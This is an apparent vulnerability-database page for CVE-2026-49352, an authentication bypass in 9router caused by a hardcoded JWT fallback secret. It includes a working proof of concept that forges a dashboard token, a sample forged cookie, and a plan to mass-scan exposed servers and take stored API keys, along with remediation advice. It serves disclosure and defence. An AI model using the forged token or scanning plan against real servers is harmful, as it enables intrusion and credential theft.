Skip to main content

9router CVE-2026-49352

CRITICAL
Use of Hard-coded Credentials (CWE-798)
2026-07-02 https://github.com/decolua/9router GHSA-jphh-m39h-6gwx
9.8
CVSS 3.1 · Vendor: https://github.com/decolua/9router
Share

Severity by source

Vendor (https://github.com/decolua/9router) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
9.8 CRITICAL

Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/decolua/9router).

CVSS VectorVendor: https://github.com/decolua/9router

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Analysis Generated
Jul 02, 2026 - 21:23 vuln.today
CVE Published
Jul 02, 2026 - 20:56 github-advisory
CRITICAL 9.8

DescriptionCVE.org

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

VersionsFileNote
>= 0.2.21, <= 0.4.30src/app/api/auth/login/route.js + src/middleware.jsIntroduced in commit 23cfb19
>= 0.4.31, <= 0.4.41src/lib/auth/dashboardSession.jsRelocated by OIDC refactor c3d91b0, secret unchanged

Vulnerable Code

v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

js
import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

js
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.

AnalysisAI

Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Scan internet for exposed 9router dashboards
Delivery
Forge HS256 auth_token JWT with public default secret
Exploit
Set cookie and bypass /dashboard login
Execution
Query /api/settings/database for stored secrets
Persist
Exfiltrate API keys and auth tokens
Impact
Modify config or pivot via /api/mcp/ bridge

Vulnerability AssessmentAI

Exploitation The single concrete prerequisite is that the target 9router server (version 0.2.21 through 0.4.41) runs WITHOUT the JWT_SECRET environment variable set, so dashboard JWTs are signed and verified with the hardcoded fallback "9router-default-secret-change-me"; the attacker crafts an HS256 JWT carrying the claim {authenticated:true} using that public secret and submits it as the auth_token cookie. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This is a genuine high-priority issue rather than an inflated CVSS number. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker mass-scans the internet for exposed 9router dashboards and, for each target, sets a pre-forged auth_token cookie signed with the public default secret before requesting /dashboard. Any server that did not set JWT_SECRET accepts the cookie and grants full authenticated access, after which the attacker queries /api/settings/database to exfiltrate stored API keys and auth tokens. …
Remediation The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all 9router deployments and confirm versions; verify JWT_SECRET environment variable is set to a non-default value; implement network segmentation to restrict dashboard access to trusted networks only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Share

CVE-2026-49352 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy